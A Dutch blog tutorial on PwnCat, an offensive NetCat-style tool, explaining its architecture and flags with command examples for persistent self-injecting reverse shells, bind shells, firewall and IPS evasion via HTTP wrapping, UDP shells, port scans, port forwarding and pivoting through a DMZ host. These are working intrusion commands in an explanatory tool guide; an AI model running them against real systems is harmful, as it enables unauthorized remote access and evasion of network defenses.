PwnCat
Vandaag wil ik een andere tool bespreken die zijn inspiratie qua naam en functionaliteit heeft geput uit NetCat en NCat (https://jarnobaselier.nl/ncat-voorbeelden-en-gebruik). PwnCat is een NetCat implementatie maar dan een stuk uitgebreider en krachtiger. Denk hierbij aan firewall en IPS evasion, UDP Reverse Shells, Proxy optie, Version Detection en volledig scriptable omdat PwnCat gemaakt is in de programmeertaal die vele van ons regelmatig gebruiken, Python. PwnCat is compatible met Python 2 en 3 en is dus ook OS onafhankelijk, zolang Python uiteraard maar geïnstalleerd is. NetCat on Steroids… let’s see!
PwnCat is vanaf de grond af opnieuw opgebouwd als een betere NetCat. Ooit per ongeluk CTRL+C gedrukt van je net tot stand gekomen “reversed shell” waarna je hem voorgoed kwijt was? Of wilde een client geen contact meer maken omdat de firewall in de weg zat? Of was je lekker bezig en brak de IPS de connectie af? Daar biedt PwnCat je de helpende hand.
Om PwnCat te begrijpen moeten we eerst goed begrijpen hoe PwnCat functioneert. Zoals al gezegd is PwnCat gebouwd op basis van Python waardoor het OS onafhankelijk werkt en waardoor het gemakkelijk scriptable en te implementeren is. Van binnen werkt PwnCat op basis van 4 bouwblokken, IO classes, een Transformer, de Runner en Signalering en Interrupts
De IO-classes (1) bieden basis input / output-functionaliteit. Er is een “producer IO” welke constant input signalen verzamelt (net recv, user input, command output) en een “consumer IO”. De consumer IO is een callback welke wordt toegepast op de gegevens van een specifieke “producer” (net send, output, command execution). Elk producer / consumer-paar wordt door de Runner-instance (2) in een thread geplaatst. De “Transformer” bouwblok (3) zit bovenop een IO-callback bouwblok en kan deze gegevens transformeren voordat deze naar een callback worden gestuurd. (b.v.: LF converteren naar CRLF, eenvoudige tekst converteren naar een HTTP POST-verzoek, een HTTP POST-reactie converteren naar tekst, coderen / decoderen, enz.). De Runner-instance brengt alles samen. Elk producer / consumer-paar (en verschillende transformers) worden verplaatst naar hun eigen thread. Producer / consumer paren van verschillende instances kunnen worden samengevoegd wanneer deze aan de Runner worden toegevoegd. Waarna een “Net-1. Producer” deze kan ontvangen en uitvoeren zoals in een chat, het uitvoeren van een commando of het verder sturen via een tweede Net-2-klasse (proxy). De “Transformer” is feitelijk een lijst met “transformaties” welke aan 1 of meerdere consumer / producer-paren kan worden toegevoegd waardoor verdere datatransformatie mogelijk is. Dit betekent dat je zelf relatief eenvoudig een Transformer kunt schrijven welke alle soorten onbewerkte gegevens in een Layer-7-protocol verpakt of eruit haalt. Dit zorgt ervoor dat PwnCat gemakkelijk uit te breiden is zoals door het toevoegen van b.v. verschillende protocollen of andere datatransformaties. Het laatste bouwblok is “Signaling en Interrupt” (4). De Interrupt Handler-instance is verdeeld over alle Threads en de Runner-instantie. De Interrup Handler verzorgt o.a. een moethode om andere Threads te laten weten dat er een stopsignaal is aangevraagd. Producer / consumer paren kunnen hun eigen interruptfunctie implementeren zodat ze van binnenuit kunnen worden gestopt (als ze niet-blokkerende dingen doen) of van buiten (als ze wel blokkerende dingen doen). Daarnaast zorgt de interrupt handler voor het afvangen van fouten en problemen.
De installatie van PwnCat is simpel en kan gewoon middels “pip”:
pip install pwncat |
Laten we eens wat basis flags bekijken:
- -l = Listen. Een server met de “-l” flag luisterd naar inkomende verbindingen.
- -L = Local. Deze mode is de “Lokale doorstuurmodus” en start meteen een interne server en client. De interne server luistert lokaal op het opgegeven adres en de opgegeven poort. De server stuurt vervolgens het verkeer door naar de interne client die verbinding maakt met een andere server die is opgegeven met de hostname/port flag welke is opgegeven via positional arguments.
- -R = Remote. In deze modus worden twee interne clients gestart. De ene client maakt verbinding met het doel en de andere maakt verbinding met een andere PwnCat / netcat-server welke elders is gestart. Op dit moment fungeert de eerste client als proxy tussen het doel en de PwnCat server die elders is gestart. Deze modus is ideaal op doelmachines die inkomend verkeer blokkeren en alleen uitgaand verkeer toestaan. De verbinding met je PwnCat machine elders wordt opgegeven door “-R flag”. De verbinding met de doelmachine wordt opgegeven middels positional arguments.
- -e = Execute. Voer een shell commando uit (alleen bij listen en connect verbindingen).
- -n = NoDNS. Er wordt geen DNS resolvement uitgevoerd.
- -v = Verbose. Door de “verbose” mode in te schakelen krijg je meer informatie retour en wordt troubleshooten makkelijker. Er zijn 4 niveaus. Elk niveau geeft een hogere ballast op de server. Elk niveau wordt opgegeven met een extra V. Dus om niveau 4 in te schakelen gebruik je “-vvvv”.
- -c always / never / auto = Colored Output. In ‘auto’ modus wordt kleur weergegeven zolang de uitvoer naar een terminal gaat. Als het in een bestand wordt gepiped, wordt kleur automatisch uitgeschakeld. Deze modus schakelt standaard ook kleur uit op Windows. (standaard: auto)
- -4 / -6 = IP prototol. Gebruik alleen IPv4 of IPv6.
- -u = UDP. Gebruik alleen UDP (default is TCP).
- –http / –https. Verberg verkeer in HTTP/HTTPS verkeer om firewalls te misleiden.
- -H = Header. Gebruik custom headers binnen HTTP / HTTPS verkeer.
- –self-inject = Luistermodus (alleen TCP). Wanneer je wilt dat een reverse shell terug connect naar de PwnCat server (via php, bash, nc, ncat of vergelijkbaar) start dan de luisterserver met dit argument. Deze zorgt ervoor dat dan (zodra de reverse shell verbinding maakt) automatisch een onbreekbare PwnCat reverse shell op de doelmachine uitgerolt wordt en op de achtergrond wordt uitgevoerd. Deze maakt vervolgens ook weer verbinding met de PwnCat luisterserver. Het is ook mogelijk om meerdere reverse shells te starten door meerdere poorten op te geven. Opmerking: dit is momenteel een experimentele functie en werkt nog niet op externe Windows-hosts.
- –script-send / –script-recv = Hiermee defnieer je je eigen aangepaste transformatorfunctie welke wordt toegepast voordat (script-send) of nadat (script-recv) gegevens naar een extern eindpunt worden verzonden. Het bestand moet exact de volgende functie bevatten welke zal worden toegepast als de transformator:
def transform (data, pse):# OPMERKING: De functienaam moet ‘transform’ zijn, de geparste data wordt geparsed als het ‘data’ argument en de inspringing moet 4 spaties zijn (en geen tabs).
Je kunt nu zelf aangepaste functies en classes definiëren in dit bestand maar zorg ervoor dat ze een uniek voorvoegsel hebben om niet te botsen met de functies of classes van PwnCat omdat het bestand wordt aangeroepen met exec ().
- –banner = Probeer “banner grabbing” toe te passen tijdens een poortscan.
- -k = Keep Open Listener. Met deze flag worden clients opnieuw in luistermodus geaccepteerd nadat een client de verbinding heeft verbroken of de verbinding op een andere manier wordt verbroken. (standaard: server stopt nadat de verbinding is verbroken)
- –rebind = Wanneer de server zich niet aan een connectie kan binden zal hij zichzelf vele malen opnieuw initialiseren voordat hij het opgeeft. Zonder een waarde op te geven met de –rebind flag zal de server eindeloos opnieuw proberen te binden. Je kunt ook waarde opgeven voor het aantal keer dat je wilt dat de server zal proberen om opnieuw te binden voordat hij het opgeeft.
- -h = Help. De fantastische help functie!
PwnCat Gebruiken
Maar met een paar implementatievoorbeelden wordt het meteen een stukje duidelijker. Ok… laten we maar eens gewoon een listener opzetten zoals we dat ook zo vaak doen met NetCat:
pwncat -l 8888 |
Het allereerste wat mij ontzettend aanspreekt van PwnCat is de “Unbreakable Shell”. De “Unbreakable Shell” is een slimme methode die wordt uitgevoerd met het “–self-inject” argument. Op deze manier zorg je ervoor dat zodra er een reverse shell is verbonden PwnCat een andere reverse shell start en oneindig blijft uitvoeren. Wanneer je dus je verbinding verliest zal de client (zodra je weer een listener op de juiste poort start) automatisch verbinding maken. Je kunt deze –self-inject reverse shell dus gewoon naar hetzelfde poortnummer laten connecten als je originele reverse shell omdat hij keer op keer zal proberen verbinding te maken en deze poort dus gebruikt zodra de eerste connectie van de originele reverse shell verbroken is. Uiteraard kun je hier ook een alternatieve poort voor gebruiken.
pwncat -l 8888 --self-inject /bin/sh:192.168.1.1:8888 |
Zoals je ziet zijn er 3 optionele argumenten na de “–self-inject” flag. De eerste is de shell die gebruikt moet worden om op de achtergrond de unbreakable listener te starten. De volgende 2 zijn de host en de poort waar de unbreakable listener naar moet verbinden. Je kunt echter ook meerdere poorten opgeven. Wanneer deze niet opvolgend zijn kun je deze middels een komma van elkaar scheiden. Wanneer deze aaneengesloten zijn kun je ze middels een dash van elkaar scheiden of simpelweg middels een som:
8888,9008,9888 = Dit zijn 3 poorten, namelijk 8888 en 9008 en 9888
8888-9000 = Dit zijn 112 poorten, namelijk 8888 t/m 9000
8888+100 = Dit zijn 100 poorten, namelijk 8888 t/m 8988
Dus om bovenstaande reverse shell op 3 poorten actief te maken gebruik je:
pwncat -l 8888 --self-inject /bin/sh:192.168.1.1:8888,9008,9888 |
Om een bind shell op te zetten (dus een listener op de target machine) voer je het volgende commando uit:
pwncat -l 8888 -k |
De -k flag in bovenstaande voorbeeld betekend “keep open”. Op de attacker machine kun je dus connecten en meteen een shell commando uitvoeren met de -e flag:
pwncat -e 'ifconfig' 8888 |
De -e flag zorgt ervoor dat het opgegeven commando in de shell wordt uitgevoerd nadat een connectie op poort 8888 succesvol tot stand is gekomen.
Wanneer je de tijd wilt specificeren die tussen het connecten in zit gebruik je de “–recon” flags. Laten we ervoor zorgen dat we tussen elke connectiepoging 10 seconde niets doen en dat we maximaal 100 connectiepogingen doen. Dit ziet er dan als volgt uit:
pwncat 192.168.1.1 8888 --reconn 100 --reconn-wait 10 |
Om de noise te verkleinen zou de DNS resolvement uit kunnen schakelen:
pwncat 192.168.1.1 8888 --reconn 100 --reconn-wait 10 --nodns |
We kunnen bovenstaande nog meer stealthy maken door data pakketjes te verpakken in HTTP(S) requests. Op deze manier is de kans dat de firewall de data doorlaat en de IPS niet geactiveerd wordt nog groter:
pwncat 192.168.1.1 8888 --reconn 100 --reconn-wait 10 --nodns --http |
Bovenstaande voorbeelden zijn TCP-based reverse shells. We kunnen hier ook een UDP reversed shell van maken door de “-u” flag toe te voegen.
Door het toevoegen van de “–ping-intvl” flag zorgen we ervoor dat de connectie pas opnieuw wordt gemaakt als er een ping succesvol geretourneerd wordt. Door het toevoegen van de “–ping-init” flag zorgen we ervoor dat de client 1 pakketje naar de server stuurt zodat de server weet wie de client is en zodat we ook vanuit de server op ieder gewenst moment data kunnen versturen. UDP is immers een stateless protocol en de server kent de client niet voordat er data is verzonden. Er is by-design geen handshake die wordt toegepast.
pwncat -u 192.168.1.1 8888 --reconn 100 --reconn-wait 10 --ping-intvl --ping-init |
PwnCat Poortscan
Voor het uitvoeren van een poortscan kunnen we een aantal flags gebruiken. “-u” wanneer het een UDP scan moet zijn. “-4 of -6” wanneer er alleen op IPv4 of IPv6 gescand mag worden. “–banner” wanneer de scan ook banner grabbing moet uitvoeren en uiteraard “-z” om met de remote host te verbinden en de poortrange te scannen. Het doel IP incl. bijbehorende poorten worden opgegeven na de “-z” flag. Om dus alle TCP poorten te scannen gebruiken we simpelweg.
pwncat -z 192.168.1.1 1-65535 |
Om alleen de meest gebruikte poorten op basis van IPv4 te scannen en hierbij ook banner grabbing uit te voeren:
pwncat -z 192.168.1.1 1+1023 -4 --banner |
En om vervolgens een UDP IPv6 scan uit te voeren:
pwncat -z 192.168.1.1 1-65535 -6 -u |
Ook kunnen we PwnCat gebruiken om poort forwarding uit te voeren. Zo kunnen we een remote poort beschikbaar maken op de lokale interface (local port forwarding). Stel je voor dat poort 3306 (MySQL) beschikbaar is op “vulnerableserver.com” dan kunnen we deze beschikbaar maken als poort 8888 op iedere lokale interface middels de “-L” flag:
pwncat -L 0.0.0.0:8888 vulnerableserver.com 3306 |
Om vervolgens het verkeer aan de lokale kant te converteren naar UDP:
pwncat -L 0.0.0.0:8888 vulnerableserver.com 3306 -u |
Bovenstaande voorbeeld kan worden toegepast in een scenario waarbij PwnCat niet te bereiken is en er met een hop gewerkt moet worden. Stel je voor dat computer C geen connectie naar buiten heeft. Computer B kan echter wel computer C benaderen en is ook van buiten te benaderen. Dan kunnen we op computer A een listener starten:
pwncat -l 8888 --self-inject /bin/sh:192.168.1.1:8888,9008,9888 |
En dan kunnen we op computer B een reverse shell tot stand brengen en een listener starten (op poort 666):
pwncat --reconn -R computera:8888 192.168.1.1:666 |
Omdat computer C (in het interne netwerk) wel computer B (in de DMZ) kan benaderen kunnen we via computer B toch een shell opzetten met computer C. Op computer B verbinden we dus met computer C op poort 666.
PwnCat Scripting Engine – PSE
Zoals al eerder aangegeven kun je ook zelf je eigen rules schrijven. Met de “PawnCat Scripting Engine” ofwel de PSE. En dat kunnen we uiteraard gewoon doen in Python 🙂
Zoals tijdens de uitleg al aangegeven moeten de functies die je schrijft aan een aantal voorwaardes voldoen.
- De functie moet de naam “transform” hebben.
- De argumenten die geparsed worden zijn, “data” en “pse”:
- Het Python script kent een inspringing van 4 spaties (en dus geen tabs)
PwnCat kan overweg met 2 type scripts:
–script-send = de transformatie in het script zal worden toegepast voordat data verzonden wordt.
–script-recv = de transformatie in het script zal worden toegepast nadat data ontvangen is.
Wanneer we data dus in een valide HTTP Post package willen verpakken voordat we deze verzenden starten we de functie:
pwncat -vv -l 192.168.1.1 8888 –script-send /home/user/Softwarepse/http-post/http_post.py |
We gaan ervan uit dat het script “http-post.py” heet en er als volgt uitziet:
def transform(data, pse): """The HTTP Post transformer function.""" param = "payload" body = param + "=" + data headers = [] headers.append("POST / HTTP/1.1") headers.append("Host: localhost") headers.append("User-Agent: pwncat") headers.append("Accept: */*") headers.append("Content-Length: {}".format(len(body))) headers.append("Content-Type: application/x-www-form-urlencoded") headers.append("") headers.append("") return "\n".join(headers) + body + "\n\n" |
Op deze manier kun je middels PwnCat PSE je eigen functies schrijven in Python.
Conclusie
PwnCat is absoluut een van de mooiste “NetCat-like” implementaties. Vooral de auto injection en reconnect functies maken de tool wat mij betreft tot een veel betere optie dan alle anderen. Ook de scripting engine om zelf je eigen data translaties te maken is krachtig en bovenal fantastisch te programmeren in Python. Helaas mist de implementatie nog Telnet, SCTP en SSL ondersteuning waardoor je voor die specifieke protocollenm toch terug moet pakken op b.v. NCat. Bekijk dus goed wat je nodig hebt want PwnCat is niet het antwoord op alle vragen. Maar op een paar functies na toch wel het antwoord op de meeste vragen… zelfs een aantal moeilijk zoals outbound port scans en port hopping en local port forward. Absoluut een van de tools die ik als eerste installeer tijdens het inrichten van een nieuwe Linux machine.
Vond je het leuk om te lezen wat PwnCat is en hoe deze functioneert? Top! Ik vond het ook erg leuk om erover te schrijven. Maar… zoals je zult begrijpen kost het maken en delen van informatie veel tijd. Ik zou het supertof vinden als je mijn bericht wilt delen op je website of op je social media kanalen. Een like of leuk berichtje vind ik ook fantastisch.
En mocht je nou echt een BAAS zijn… dan mag je altijd een klein bedrag doneren middels de donatiebutton op deze pagina 🙂 Want… Stroom, Licenties…. Gadgets. . . het kost een vermogen 😉